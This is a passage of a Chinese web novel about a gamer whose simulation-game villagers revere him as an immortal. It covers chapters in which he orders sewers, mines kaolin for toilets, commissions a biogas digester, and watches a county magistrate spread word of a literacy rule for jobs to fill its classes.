得知此事的锦小娘子也不免脸上带笑,虽说她不认同正面作战,但背地里来阴的,又有何不可? 反正真被逮了,也能说一句孩童年幼,一大人气量未免太小,非要和一孩童较真此借口敷衍过去。 斗坡村除了学堂火爆外,还有一事也是颇受关注。 那便是张百技负责的下水道改造计划。 话说张百技此人倒是有点能力,原先不过是一有些技术的建筑工,也是抓住了斗坡村内帮仙师多次建造工厂的机会,这会俨然成了建筑队的领头人。 在他的带领下,先后替村内建设了地瓜厂,豆腐厂,酒厂,以及大大小小的客栈。 可以说只要一想起来建造房屋一众事宜,大伙脑海里最先浮出来的便是此人。 不过张百技此人倒是心态还算稳固,虽说已经成了建筑队伍的领头人,但此人无论是对待工人,亦或是对待所接下的建筑任务时,均还和先前一般认真负责。 倒也是运道好,因素日勤恳工作全被仙师看在眼里,倒是被仙师委以重任。 ——负责本村的下水道改造计划。 这事刚出来时,众人均是上他家恭贺,大意皆是“可算是被仙师亲自招纳了,若这差事做得好了,说不定日后成为仙师心腹也不成问题”这意思。 将前来祝贺之人敷衍回家后,张百技脑内却不住地回想起仙师交付给他任务的场景。 当时他刚结束完一单活计,打算休息几天时,脑内却突然听到了一声极为好听的声音。 张百技顿时不敢动作。 ——他消息还算灵通,知晓那位仙师联络人的方式便是脑内传音。 当时他还百思不得其解,如何才能分辨出那位的声音? 但知晓的人均说不用分辨,等听到时,自然就清楚这便是仙师了。 那会他还迷迷糊糊的,不知这话到底是何意。 但当仙师的声音真正的出现在脑内时,仅仅是听着这声音,张百技便顿觉脑海清明。 ——这样好听的声音,除了仙师还能有谁? 恭恭敬敬向仙师问好后,说实话,张百技有些忐忑。 他不过一小人物,和那些才子才女们不同,他这样的人,仙师找自己到底为了何事? 却不曾听到对方的委命 竟然是规划下水道路线? 张百技心尖不受控制般闪过一丝惊恐。 他早些年间确实曾有过这个想法,但后来因感觉施工困难,只能无奈放弃,但仙师是如何能知晓自己的过去的? 若仙师能知晓过去,这不是真仙是什么? 一时间,张百技浑身冰冷,对仙师的神通更是畏惧了几分。 但该回话还是要回话,将各中难题难点告知仙师后,张百技静静地等待着仙师开口。 倒是没能等到他开口,桌子上便显现出数张图纸来。 张百技翻开图纸,等看清楚其正是下水管道的设计图稿时,忍不住浑身震撼。 再仔细看过去,发现此图稿早已将他提及的难点各个攻破,就等着他动工实施便是。 一时间,张百技竟脸上微微发烫。 ——所以说,他先前自作聪明提到的那些困难,对仙师来说根本不是个问题,那位也真是有足够耐心,竟能忍着他说完那些话。 越想,张百技便越觉得燥得慌。 ——也是,他一乡野农人,和那谪仙相比,定是差仙人千万倍。 不等他从这股尴尬的气息中回神,仙师却再度开口。 “不必介怀,你已经做得很好了,这图纸只是斗坡村的设计图纸,若后续还需要继续铺设的话,图纸便需要你自己去画了,今日你所表露的能力,足以解决之后画图等方面的问题。” 张百技楞在原地,默默咀嚼着仙师的话语,而后在意识到这位说出了什么不得了的话后,他忍不住激动得浑身颤抖。 仙师不仅没有看不起他,反而对他先前拙劣的想法和设计多有赞扬,这般仙人,怪不得那些人肯为仙师出生入死,在所不惜。 明明身居高位,却对人是这样的平等温和 待脑内声音消散后,张百技细细研究图纸,试图吃透那几处他不曾明白的设计,而与此同时,他的桌面上也多出了一鼓鼓囊囊的荷包。 看向荷包时,张百技不由眼带感激。 这是仙师主动提及给他涨工资有道是士为知己者死,仙师既察觉到他所长,又给与他足够的物质基础,他张百技若不拿出全部的精力替这位效力,他便不配当人! 第96章 高岭土 很快,由张百技引发的下水道修建工程便开始启动了。 按照那张设计图所画,他应当是将下水分为两种,一种是厨房下水,另一种则是厕所下水。 现在斗坡村内的茅房都是很简单的那种,挖个坑,坑上面放置两块木板充当脚踩的地方。 别说普通农人是这样操作的,就连风仙县内不少有钱人家也是如此。 最好的情况不过就是砌一茅房,脚踩石砖,会有专人负责清洗茅房而已。 张百技看着图纸上所画下水,心想莫不是日后仙师会统一给众人修建茅房? 想归想,他倒是勤勤恳恳地按照设计图,将生活和厨房下水先行铺设好。 按照示意图铺设的话,主要先铺设主干道,而后再延伸至各个支路,最后才是每一户居民家中。 这些居民倒是都还算配合,没有人跳出来反对他修整下水。 所以这项工程进展比想象中快了不少。 而与此同时,负责外出寻找矿产的李明月一行人总算是不辱使命,找到了一处铁矿。 此铁矿据她勘测,应当是一座中型铁矿。 既已找到铁矿,李明月自然立即将此事报告给仙师。 很快,游戏便弹出来一则消息提醒。 在看清楚发消息的人是谁后,姜定一个弹跳,而后兴奋地点开对话框。 【你的工人李明月为你找到了一处中型铁矿,是否要挪移开采?】 这游戏在选项方面异常智能,如果在第一次选择了某个选项,那么它在第二次遇到类似的问题时,便会自行往第一次选择的方向上靠近。 姜定倒是若有所思地看着挪移费用。 ——还好,上一次是1500两,这一次比上次少了500两,仅仅需要1000两便足够。 联想到自己的初级铁矿场估计要不了多久便要开采完毕,姜定几乎没有犹豫,花费1000两将此矿场挪移过去。 而在李明月等人眼中,这铁矿和先前那盐池一样,几乎瞬间,便被仙师用仙法给分离开来,而后那等庞然巨物直冲冲地飞离出去,瞬间不见踪影。 尽管仙师的手段曾看到过一次,但无论何时再看,这等手段均可称得上是惊人。 等到一行人从震撼中回神后,这才察觉原先铁矿存在的一处早就填充上了绿草地。 一行人忍不住开口。 “上次仙师动手速度太快,我未曾看清楚,这次我可是看得一清二楚,仙师分割下来的那块土地,竟然那么大!” “真是恐怖的仙法!” 感慨完仙师的仙法后,一众人出来已有小半年,既最要紧的任务已经完成,一行人正考虑要不要先回去休息一些日子,而后再出来继续为仙师寻找矿脉。 李明月微微一扫众人,均能察觉到大伙脸带疲惫。 想想这些日子确实苦,李明月应下众人所想,打算带队归去。 而一众人途径一小道时,她却突然察觉手中的探测仪发出一阵轻微的抖动,若不是她将这仪器放在手中,这片刻的震动则是很容易被她忽略掉。 回归的众人似乎是注意到李明月凝重的面庞,刚想开口询问一二,便见她手中握着的探测仪似乎动了片刻。 众人顿时惊愕。 ——莫不是还有矿脉? 今个运气这么好? 往日她们想寻一条矿脉可是难得很! 众人均不敢开口说话,恐惊了这矿脉,而李明月不断地在原地试探着方向,而后确定了探测仪震动最为频繁的一条路。 带领着众人越往下走,这股震动便越是频繁 莫非还是一处铁矿? 李明月不免心思微动,毕竟谁能轻易放弃眼前有矿产的诱惑? 想想先前一连寻找了有三个月才找到铁矿,倒是没想到这次运气爆棚,竟一连找到两个铁矿,算是双黄蛋啊。 众人也是兴奋不已,虽说浑身疲累,但几乎不费吹灰之力再找到一处新矿产,岂不是美滋滋? 待众人行至山脚下一湖泊处时,李明月感觉到手中的探测仪震动达到了一个峰值。 而后多次估计位置,李明月总算定位到了此处矿脉的大致位置 只是,看着眼前和铁矿完全不吻合的环境,李明月不免蹙眉。 ——难道说,她误判了? 但手心内的探测仪依旧在震动。 虽说心中疑惑,李明月倒是先行挖掘,试图分析一番此矿产成分。 但等她折腾许久,却从中拿出一团洁白的土块来。 众人围聚在她身旁,盯着从黄土下面挖掘出来的白色土块愣神。 看着这白色土块,李明月几乎瞬间,便知晓了此矿为何物。 ——高岭土,可用于做瓷器,属于黏土的一种。 虽说没有铁矿用途广泛,但黏土矿想必对仙师而言也是有用的吧。 再看看手中的探测仪,李明月这才察觉原先她理解错误了。 本以为这探测仪只能探测到铁矿,但经过这次后,她算是知道了,这探测器能探测到任意一种有一定规模的矿产。 这可当真是仙物! 一想到未来她们可以借助探测器去探测到多种多样的矿产,李明月不免觉得这环节属实刺激,毕竟没亲手用铲子挖掘开土层,她们是不会知晓这一铲子能带来的矿产到底是何物。 人总归是最痴迷于未知的。 李明月觉得自己开采出高岭土,也没有她发觉到这探测仪的真正用途来得兴奋。 至于新发现的高岭土,李明月自是上报上去,至于这黏土矿能用作何物,那便要看仙师的安排了。 当游戏消息弹出来时,姜定还在琢磨着设计城市下水图。 话说先前他根本没注意到设计什么下水,但架不住时不时会有一些类似于游戏吐槽的消息不住地提醒他。 大多是一些吐槽厕所臭,村内污水没处理好,环境恶劣等等这一类消息。 且更让他觉得过分的是,吐槽的人竟然都是那些村民。 ——好可恶,这些刁民们! 努力平复心情后,姜定实在受不了这群人的骚扰,而后选择找人收拾一下下水系统得了。 等找好人,看清楚所需要的价格完全能接受后,姜定抱着给自己找个清闲的想法,毅然决然的修建起了下水道。 不过话说修建下水道真的有用吗?他现在还不能制作马桶这类东西,要是村民还继续使用旱厕,这下水系统简直是做了个寂寞 等一下,或许他可以参照原先玩过的游戏,看看游戏内是否能制作出类似于沼气池这玩意。 仔细想想,游戏内的沼气池简直就是毫无弱点的清洁能源啊,又能处理粪便,生活垃圾,还能让村民用上清洁能源。 姜定沉浸于自己的想法内,蠢蠢欲动之际,突然想到两个关键性问题。 建造的话,不算难题,但建造沼气池需要水泥和防水胶,这两样东西他目前还没有啊? 再看看游戏,无论怎么看,他都无法从这游戏内找到一丝一毫的思绪 沉默半响,还不等他升腾起放弃的念头时,游戏提醒又一次来了。 等看清楚提醒内容后,姜定顿时一乐。 高岭土? 真是瞌睡了就给送枕头,这玩意的主要用途不就是用来做瓷器,做马桶用嘛! 瓷器他目前还没想好用啥,但可以让这些人先做马桶,然后挨家挨户给大伙安装上马桶啊! 想想看吧,到时候游戏画面肯定很有趣,一群穿古衣的古人,上厕所却蹲着现代马桶,这场景无论怎么看都让人觉得有几分荒诞滑稽。 想到脑内可能出现的画面,姜定不免笑出声。 但等到挪移开采时,姜定就笑不出来了。 原因无它,实在是这处高岭土矿太大了,若强行挪移的话,他估计要花费近万两才能顺利将此矿挪移走。 看看右上角自己可怜兮兮的银两,姜定沉默了。 而后,他咬着牙,选择了原地开采,制作。 没办法,谁让他兜内窘迫呢! 等到选择完这选项后,姜定忙查看此矿的位置。 ——此矿位于潜灵山大约有三百公里,位于黎州和潜灵山的中点。 姜定还记得本游戏的游戏设定,距离黎州,也就是大炎朝这么近,他很担心啊。 万一朝廷想过来抢夺他的矿产怎么办? 他目前可能也就发展到初级阶段,这大炎朝发展了许久,应该比他要强不少吧? 担心归担心,但既然这矿脉已无法挪移,姜定倒也逐渐劝自己放宽心。 ——能怎么办,大不了在大佬没发现前,他多吃几口算几口呗! 主打一个打得过就打,打不过就跑嘛。 姜定很快就把自己劝好了,然后美滋滋地让李明月回去找一批工人过来。 虽说他挪不走这矿产,主打一个心态松弛,但该有的防护还是要防护的。 在花费一百两购入一个为期一年的隐蔽大阵后,姜定便将注意力放到了先前他一直在意的事情上 他能不能将建设沼气池的信息透露下去,然后看看这群工人的智能程度到底有多高? 毕竟这游戏各个方面都是无可比拟的真实,若按照这游戏的尿性,说不定他把沼气池的想法放出去,其中或许还真能有人能给他具现化了。 说做就做,姜定先将此想法告之负责下水设计的工人,张百技,令他意外的是,张百技在看到他发出的消息后,竟然很快就拒绝了他。 被拒绝的姜定顿时大惊,仔细看了描述后这才发现是他大意了。 游戏界面内写得很是清楚,这消息只有等级为紫色及以上的人物才能收到任命。 也就是说,他刚才发出去的消息,不是紫色人物的张百技是压根看不到的。 第97章 生息丹 “这游戏怎么还连带着有歧视啊?” 姜定抽搐着眼角,对游戏的设定吐槽不能。 但换个角度想,既然游戏有这种设定,这岂不是说明,游戏确实可以让工人自行研究? 不然的话,为啥要设定这玩意? 只沉默了片刻,姜定很快就把自己哄好了。 点开雇佣界面,看着自己仅有的两位紫色人物,姜定不免无语泪先流。 ——这会他总算是明白了人物卡等级的妙用了。 若有高等级的人物卡,不仅仅可以当甩手掌柜,也可以在脑内有个大概雏形时,将这个雏形抛给工人,让对方去研究。 但话说,如果这游戏真采用此种设定的话,那运气不好,始终没有弄到紫色卡以外的人岂不是会被游戏进度卡得死死的? 而那些有着紫卡,甚至是金卡的人,优势岂不是呈滚雪球之态,越滚越多?进度也会飞速而上啊! 若这游戏以后不改动的话,可能大部分进游戏的第一件事就是先看自己有几个紫卡,几个金卡,若没有,估计是要立马回炉重造了。 话说这样的游戏,国内似乎有不少,一入游先看欧非,卡池不满意的话立马就要销号重新注册 说起欧非,姜定不免恨得咬牙切齿。 像原先他玩游戏时,那是永远的非,救都救不回来的那种,再看看这次的游戏,好歹自己还有两个紫色人物,金卡人物估计不久后也能拿到,这样看来,他在这游戏里还算比较幸运的。 人总会不自觉宠爱自认为幸运的游戏多一些。 等到姜定从纷繁的思绪中回神时,这才开始琢磨着要将建设沼气池的任务交给谁。 思来想去,还是将此任务给了身为风仙县县令的方知意。 毕竟一城县令推广一下民生用品很合理吧? 他简直无法想象要是托付给赵金构此人会造成什么样的后果。 毕竟这人精通于经营,是个优秀的商人,但要论这沼气池的定位,姜定自认为他没想着靠沼气池暴富? 将沼气池的任务以及粗略的图纸一并发给方知意,姜定的注意力顿时从此处离开,转而去研究马桶的设计与安装。 倒是没能成功,却见游戏先来了一条红色的消息提醒。 【哎呀哎呀,你的县令太过于疲累,精力下降太多了,或许会有猝死的风险呢!】???什么鬼? 姜定刚想点击离开的手立马停顿,而后直勾勾地盯着眼前方知意的属性。 各属性依旧完美,但其中却有一数值红得刺目。 姜定忙定睛去看,结果看到的这行数值正为精力值。???怎么回事,这紫卡人物到底背着他做了什么才会精力枯竭到这个地步啊! 内心咆哮,生怕自己唯二的紫卡人物嗝屁,姜定忙仔细翻看此人先前经历。 等到一点开方知意的经历,姜定顿时呆愣在原地。 而后半响,呢喃出声。 “牛啊这也太敬业了,从早到晚,没有一刻休息” 人物经历上显示,此人白日忙着政务,走访百姓,夜晚忙着思索对策,一直到深夜,才会休息,而后不到鸡鸣又早早醒来。 看了方知意这可称得上枯燥无味的日常后,姜定不免生出了几分敬佩和怜惜。 这若真是古代的话,这人绝对是个一等一的好官啊! 但是现在是游戏内,她这样努力不顾及精力条的话,很容易把自己作死啊。 看了半天都没看到有可以介入的按钮,姜定换了个方向思索解决之道。 既无法让对方及时休息,那提升她的精力值上限不就可以了? 毕竟他目前确实很需要人才帮助自己解决种种问题啊,简直是在和时间赛跑! 越想越觉得此等解法为最优解后,姜定寻了半天,才找到提升精力值之法。 在人物卡界面,有个赠与选项,其内可以找到提升精力值的物品。 看来看去,姜定选择价格较为合理的生息丹。 此丹药可永久提升人物的精力值上限,售价为五百两一枚。 虽说价格略微有些高,但想想紫卡人物能带给自己的上限,姜定咬牙购买,而后直接选择了赠送。 赠完了后,看着此人精力值上限提升了三倍后,姜定满意而又心痛地离开了此界面。 夜半。 县衙内府依旧有一间房燃着灯火。 其内,正是风仙县县令方知意。 羸弱灯火摇摆,而那抹瘦弱的身影却正伏案理政。 方知意看着笔下延展而出的一条条政策,不免微微蹙眉。 不可这等政策不适合风仙县的实际情况还需继续修改。 这份政策是方知意走访县内,又饱读集闻楼内的书籍合著而成。 内容包罗万象,最主要的政策便是对于法律,市场,等方面的研究。 那集闻楼内的书籍主张人人平等,依法治国。 想到其内描述的社会面貌,——物质极大充足,人人得以自由而平等地享受,拥有整个社会。 方知意不免面露憧憬。 在她看来,她并非渴求功名利禄之辈,而是想脚踏实地地为万民做事,眼下的情况她心里知晓,距离那等仙境还有很长的路要走,但这 不影响她将此等未来设为目标去努力。 人只要有一个目标,坚定不移地走下去,方知意相信,自己定能在紧随仙师身后的同时,为这世道做出某种改善。 哪怕燃尽自己,她也下定决心在所不惜。 不过连着工作多日,方知意知晓自己身体已快到了极限。 想到眼下风仙县还需要自己,正打算熄灯之际,脑内却有一道熟悉的声音传递而来。 听到这仿若寒泉流水般的声音,方知意不免微微僵硬身躯,等待着仙师的命令。 不料对方开口所说却并非政务。 “作为风仙县县令,勤勉是好事,但过度勤勉消耗本元,则为操之过急。” 说出来的话若只看字意,便自带一股缱绻之感,但只有亲耳所听之人,才会知晓这话中所蕴含的无关任何一种暧昧,她所能体会到的,便是一种饱含着怜惜的仙人言语。 方知意不免胸口滚烫,恭敬开口。 “仙师体恤下官身体,下官属实感激涕零,但实在是下官想为万千百姓谋一处福地,尚且顾不上休息,今已得仙师提醒,日后下官定当注意劳逸结合。” 方知意倒是没想到这位特意前来竟然是为了关心她的身体,这会不免生出几分惶恐惊诧之感。 在她回完话后,脑内仙师半响未曾开口。 本以为是自己哪里说的不对,没让仙师满意,但片刻后,方知意却察觉眼前多了一枚淡青色的丹药。 此丹刚出现之际,便飘出一股股清幽之香,她本能地望着此丹,无可抑制地生出一股想要将眼前丹药吞下腹中的冲动。 摇摇头,将这股冲动抑制住,仙师那清冷声线继续道。 “此丹名为生息丹,可增强体质,你便吃下它吧。” 方知意不免呆愣,而后不再犹豫,将这枚丹药吞下,此丹药一入腹,她便能感觉到浑身毛孔,经络似被一阵微风缓缓充盈,原先疲惫的身躯,则在瞬间饱满起来。 “仙师这丹药” 感悟到身躯变化的方知意瞪大双眼,这种浑身充斥着活力的感觉让她兴奋不已,不由地向仙师求证。 “这丹药可提升你本身精力三倍,但也不可超过这个限度。 除却这事外,这是沼气池的设计图纸,你可看看是否有机会将此物应用于实际。” 脑内声音消失不见,与此同时,书桌上飘出来几张设计图纸。 展开这几张图纸,方知意不免被这沼气池的设计吸引住目光。 ——神奇,天下竟有此等妙法,既可以处理粪便垃圾,还可以生成新的能源以供照明取暖使用。 若此等神物推广开来,对于整个风仙县,乃至于大炎朝都将是一大冲击啊! 方知意被这等草稿迷得心神不安,但仔细查看后,她倒是发觉此设计的一些难以实施之处。 譬如密封沼气池是一个问题,且如何把控温度依旧也是个问题。 虽说沼气池是一等神器,但还需多次尝试后才有可能应用成功。 思及此处,方知意不免生出新的想法。 一个人的力量有限,这等神物必须开设专门研究它的部门才行 看来明日必须去赵金构那里去寻一些人才过来了。 定好明日计划后,方知意这才有空慢慢感悟着体内的变化。 本打算休息,但自吃了那丹药后,她现在精力充沛,睡觉肯定是睡不着了,不如继续办公。 想到那颗丹药,方知意不免心神微动。 ——仙师给了她生息丹,这难道不是对她的另一种理解么? 毕竟相比于休息,她更希望在自己有限的生命里,更多的发挥光和热。 想起前段时间她前去斗坡村看到的盛状,方知意不免心头微热。 小小的村落内,学堂发展得极好,扫盲班也是如火如荼。 回想到风仙县内的扫盲班及学堂,方知意却对如今的发展不甚满意。 先前的话,各个村内开始实施扫盲班,风仙县自然也有专门的人员负责开设扫盲班。 不过因风仙县在仙师旗下工作的人数并不多,且不少人自认为自己读过书,所以前来扫盲的人并不多。 这便造成了扫盲困难。 而学堂的话,也只有稀稀拉拉的人愿意过来上学,和那些村落相比,风仙县内的学堂推广已然慢了好几步。 仔细分析一番后,方知意很快便从斗坡村内寻到了突破口。 第98章 推广 若说为何斗坡村内的扫盲班以及学堂效果好,方知意认为主要原因便是斗坡村内受仙师掌握较多,譬如几乎全部的岗位都是仙师一人开创而来,若不按照要求完成扫盲和学堂学习的话,原岗位人群均不可再继续上工。 本来村内活计就偏少,为了保证工作能够继续干下去,几乎所有人都会安心听从命令,而换到风仙县的话便不同了。 更大的地域让民众拥有了更多的选择权,不少人不需要参加扫盲班,亦或是学堂,所以这便是坏处了。 方知意细细思索应对之策,既本县仙师影响力还不够全面,不若主动开放一些高待遇的,由仙师衍生而来的职业。 想明白最关键的一点后,方知意便开始逐步布局。 ——最好是将岗位引入本县,既可以发展风仙县,而后又添加了工作岗位,其次还间接提升了仙师的名气,最后还能为扫盲班和学堂发展做出贡献。 一举四得。 但增添哪种岗位,方知意却还在纠结。 眼下那几个厂子的话,因世道混乱,往外售卖出去的东西始终不够多,所以也就造成了工作岗位比较固定的情况。 思来想去,方知意倒真想到了一个破解点——白思妙的报社。 核心人员早就选好了,但负责印刷,售卖的人却还需要招聘。 在纸上写下报社一词后,方知意继续思索别的岗位 前段世间她寻访了解到不少民众会借着牙人介绍,前往斗坡村上工,这部分定然是扫盲班和学堂的受众,若能从这些人身上向外辐射这二者的好处,想必日后推广也会轻松不少。 除却这些外,方知意知晓前段时间,本县多了一家名为仙味斋的点心铺子。 一番打听后,开铺子的人正是先前来风仙县售卖过酸辣粉的张氏一行人。 不过据方知意所知,此人不是先前负责学堂一事?为何如今却卖起了点心? 上门亲自拜访后,得出的结果却令方知意心头微楞。 竟是张氏自觉学堂事宜已稳当,因内心喜欢研究吃食,索性便对照着山上的学堂,慢慢学会了不少新奇的点心。 这点心铺子也算作那仙师旗下,方知意去的时候察觉前去买点心的人真不少,若按照这个速度发展下去的话,恐怕这仙味斋日后要遍地生花。 再想想张氏此人,果然不愧是第一批跟随仙师的元老级人物,一个人竟能有精力做这么多活计,且样样都做得成功。 而后再一询问,张氏在招人时,竟还在本县内招收了不少人。 考虑到这一点,方知意写了一封信,打算等天亮后差人将此信送到张氏那边。 若有张氏的帮助,想必推广扫盲班和学堂会更为顺利。 眼看只有一个时辰即将天亮时,方知意这才察觉到一丝疲倦 看来就算是吃了生息丹,身体的极限也便是如此了。 既已试探出这幅身体如今的极限,方知意也不勉强,而后休息。 天亮。 张氏便收到了由县衙小官送来的信件。 虽说心中疑惑方知意为何会有事求自己,但等拆开信件,看到其内所写,张氏不免眉头微拧。 “小红,你去看看从本县招收来的人是否学完了扫盲班?” 被叫小红的女子应下后暂停了手里的活计,大约一炷香后,张氏知晓了这些人竟然都不曾完成扫盲班 竟让未完成扫盲班的人入了职,也算得上是她的失误了。 缓缓叹了口气,张氏而后召集店内所有不曾扫过盲的员工。 这些员工被召集来时,起初没察觉到不妥,但当他们看到来人皆是本县的人后,不免各个脸色苍白。 ——莫不是店铺效益不好,掌柜的想辞退他们一行人? 一想到有这个可能性,众人忍不住眼带哀恸。 这仙味斋日薪能给到一百文至一百五十文,是本县挤破头皮的好工作,眼下不过干了不足一个月,这番好差事竟就要黄了? 在此处做活,轻松还赚钱多,若离开了这仙味斋,他们日后可怎么活? 心里忐忑,但一众人依旧乖乖地站定在楼下,等着张氏过来讲话。 早就站定在楼上的张氏,眼看着人到齐后,这才下楼。 扫了一眼全场,张氏不紧不慢道:“想必你们都能猜到我要说的话是什么了。” 众人心里一阵咯噔,而后面面相觑。 其中有人忙开口:“掌柜的,我的工钱可以降点,但您别辞退我啊,离开了这里,出了咱们仙味斋的大门,日后我也算是没了活路啊!” 而后有人附和道:“掌柜的,是这个道理,若店铺有困难,降点工钱没什么的,咱们努力熬过这困难期,日后定还会东山再起!” 这些人说什么话的都有,张氏微微蹙眉,而后开口:“大家的心思我看明白了,但店铺目前运转良好,并不存在所谓的亏损。” 众人心里又是一个咯噔,既不是亏损导致的要辞退他们,那便是何故? 单纯的因为他们在某刻做错了,惹火了掌柜的? 想到最坏的可能后,众人不由地脸色白了又白,这会竟是连一句话都不敢再说了。 张氏注意到众人逐渐惨白的脸庞,慢慢开口:“你们也知道,我们隶属仙师旗下产业,而想进入仙师旗下工作,首要条件便是需要从扫盲班毕业,据我了解,你们并未上过扫盲班吧?” 扫盲班? 这三个词汇在场内众人的耳内转悠了一圈后,而后慢慢散开。 其中有人立即想到前不久本县县令推广扫盲班和学堂这件事。 当时他忙着找新工作养活全家,哪里有时间参加这所谓的扫盲班,自然是将此通知视而不见。 其实也不怪他,大部分人均是以上想法。 这会没想到掌柜的竟然是因为这扫盲班才决定辞退自己,一行人顿时心慌慌,立马表示衷心。 “掌柜的,虽说我等没从这扫盲班毕业,但我等工作时也不曾犯错偷懒,掌柜的可否通融一番?” 却见那台上人缓缓摇头。 “这我无法做主,既仙师要求如此,我等必须遵守才是。” 这句话顿时让众人陷入深渊。 不少人甚至要哭出声来。 这会均是纷纷自责——当初方县令曾提过此事,说未来仙师会提供更多工作,但最低要求便是从那扫盲班毕业,若想去更好的工作,那便要进入学堂继续学习。 当时他们着急赚钱,哪有空仔细琢磨这句话。 等到运气好进入这仙味斋工作后,更是觉得这话不过是说说而已,毕竟他们也不曾扫盲班毕业,这不也顺利进来了嘛! 但谁能想到,这会掌柜的竟然突然想起了这事,且他们还求情不成,眼看就要因为扫盲班一事被辞退了! 众人心中升腾出一股恐惧,他们有种感觉,若是失去了这样的好工作,日后哪能找到更好的工作?怕是会后悔一辈子! 忙追问张氏是否有补救措施。 张氏也不愿意将这些人逼急了,便开口解释:“念你们也在本店工作了近一个月,你们可在下一个月内从扫盲班毕业便可继续留下,若下个月不曾毕业的,到时候便莫怪我无情了。” 众人虽说觉得一个月从扫盲班毕业难度甚大,但眼下也没有什么更好的办法,只能应下,而后等下了班后奔向那扫盲班去学习。 一开始,风仙县的其余人还有些好奇,为何这群仙味斋的员工一下班就要去那扫盲班读书,各个均是好奇询问。 “王寺,你前些日子不是还说扫盲班狗都不去,你现在怎地去了?给爷汪几声听听?” “滚滚滚,别烦老子,老子读书关你鸟事!” 类似这样的对话屡见不鲜。 被问的人均是一脸恼怒,倒是有心人前去打探消息,均被这些人敷衍过去。 日子一久,大家伙越看这事越觉得不对劲,纷纷拼了命的打探真相,而原仙味斋的众人则是各个如同败犬,不敢多开口说话,生怕被这群人问出真相。 ——开什么玩笑!要是被这些人知道事情真相后,原先就虎视眈眈他们工作的众人恐怕会彻底疯狂,也过来上扫盲班吧! 但日子久了,总有纸包不住火的时候。 不多时,一则八卦便飞速地传播至全县。 初次听闻此消息的人皆是不信,但说的人均是信誓旦旦的模样,而后这八卦越传越远,传得人人皆知。 而最能体现此八卦威力的便是清晨仿若闹市的扫盲班及学堂了。 原先门可罗雀的扫盲班,如今简直和下饺子一样,密密麻麻全挤满了人。 人群聚集处,便有人窃窃私语。 “那消息可真?只要说能顺利从这扫盲班毕业,便可去那仙味斋上工?” “不一定吧,只是说有可能,毕竟前些日子,仙味斋不是扫出来一批不曾扫过盲的员工?听说若是他们不曾在一个月内扫盲成功,便会被辞退,想想看吧,若是他们被辞退了,那不就多出来几个位子了嘛!” “正是如此,咱们也得去扫盲班读书,若他们学得没有咱们好,那到时候岂不是咱们的机会?” “就是就是,机会是留给有准备的人的,听说先前这些人钻了空子,这会被发现了,哭着喊着求那掌柜的给个机会呢!” 人声鼎沸,说什么的都有。 因来的人太多,扫盲班位置有限,只能给先来的人进行授课,至于后来的,只能拿着号码牌,往后面排队等待。 而下了班,打算继续偷偷摸摸扫盲的仙味斋众人看着这混乱的一幕,脑袋“轰隆”一声,彻底炸开。 第99章 透露 谁?!哪个天杀的,竟然将这等紧要消息走漏了风声?! 一众人恼火不已。 若将此消息瞒得紧紧的,他们就算运气不好第一个月没能顺利通过扫盲班,那第二月偷偷努力一番,也有很大概率能成功毕业,但眼下让这些人都知道了,他们还玩什么? 正是懵逼之余,众人手中已经被放上了一个号码牌。??? “4032?这是毛意思?” 不等询问那人,便听发放号码牌的人边走边喊。 “拿着牌子的人到时候再来啊,1开头的留下,2开头等待一个时辰,3以后先回家等待通知。” 什么鬼!合着他们来学习还要排队啊!以前怎么没发现这扫盲班这么火爆??? 更过分的是,这排得也太靠后了吧! 想到先前扫盲班空无一人,再和现在对比一番,众人气得几欲吐血。 离开之际,众人不时在队伍里寻找那所谓的透漏风声的人。 ——若是让他们知道这人是谁,非得要他好看! 看看现在的难度系数有多高啊混蛋! 而与此同时,张氏则看着眼前慢悠悠喝茶的方知意,忍不住在心里嘀咕。 ——这搞政治都心黑啊! 那走漏风声的不是别人,正是眼前不苟言笑的方县令。 方知意还在好整以暇的喝茶,似乎是注意到张氏瞄过来的目光,而后放下茶杯,带笑开口:“这次扫盲班以及学堂推广能这般顺利还得是多亏了张掌柜,若不是张掌柜在内突破,我等定是无法找机会运作的。” 张氏点头,“不必这般客气,毕竟我们都是为了那位大人而努力的。” 方知意盯着眼前还在荡漾的茶杯,淡淡开口:“还请张掌柜放心,这次扫盲班推广来开后,日后百姓能去做的工作岗位只会越来越多,必不会出现无工可上的局面,且这一步也能培养出百姓的习惯,好让仙师治理更为顺利。” 顶着一张无比纯良的脸庞说着这般话,张氏顿觉这方县令虽说年纪小,但足够有野心,也足够果断。 二人谈完话后,方知意先行告辞,而后选择去了赵金构所在之处。 而此时的赵金构,早就明白城内动乱的源头是来自于谁。 眼看方知意踏入门内,他不免鼓掌轻笑。 “方大人这一手,属实是妙,用最小的代价便完成了推广,原先在下打算助方大人一臂之力,倒是没想到还没来得及,方大人竟已自行处理好了。” 既和赵金构多次会面,二人之间倒也不必说那般客套,自然赵金构说话稍随意了一些。 方知意也不介意,反而向他索要一批能工巧匠。 提起能工巧匠,赵金构不免蹙眉。 ——怎么回事,一个两个的,都需要匠人,他百才堂内就属这方面人才最少了。 观仙师多有奇妙构思,未来定是异常需要匠人,何不趁着天下动乱,人才流窜之际多招募一些匠人进百才堂? 按捺住此等冲动不表,赵金构先问要建的是何物。 毕竟这位方县令只有在初期时,才来这百才堂让他推荐了一批才人,之后便很少过来了。 既这次再度登门拜访,定是因为这次所建之物颇为棘手。 方知意先屏退下属,而后从袖口将自己临摹下来的设计图纸一一掏出来,摊开在桌子上展示。 口中淡淡道:“这便是沼气池的图纸,仙师特意嘱咐我潜心研究,最好能将此物应用在本县以及其他村落中” 伴随着这几张图纸被一一展开,赵金构悬着的心顿时牵扯紧绷 这便是沼气池的图纸? 若这图纸真能顺利建设沼气池的话,这可是一利民大事。 不需要煤炭柴火取暖做饭,也可处理垃圾,简直是完美。 但 赵金构看着其中几处设计,忍不住眉头紧蹙。 这几处设计虽说精妙异常,但坏就坏在太精妙了,像设计图中提及到的材料,大炎朝十有八九是找不到同等物品的。 不过没关系,本来仙界物品也不会出现在他们这里,若是能找到同样具有替代作用的物品代替,应当也能顺利将此物建设出来! 这么一想,赵金构不免呼吸沉重。 而方知意则是缓缓开口:“想必赵公子也能看懂这设计的妙用,我自觉对此方面研究不够,所以这次特来向百才堂寻求合适的人选,加入这个项目,此后,这沼气池建设计划,应当为最机密之事。” 边听方知意所说,赵金构边在脑内闪过一张张面孔,而后,他咬着牙道。 “若是想尽快将这沼气池复刻出来,我想我能推荐两位天才,不过,这二人并未明确表明要替仙师效力,所以,取舍应当由方大人定夺。” 赵金构自不会将这风险落在自己头上,含笑看着方知意是否会因此犹豫。 而方知意依旧端着茶杯,面庞无喜无悲。 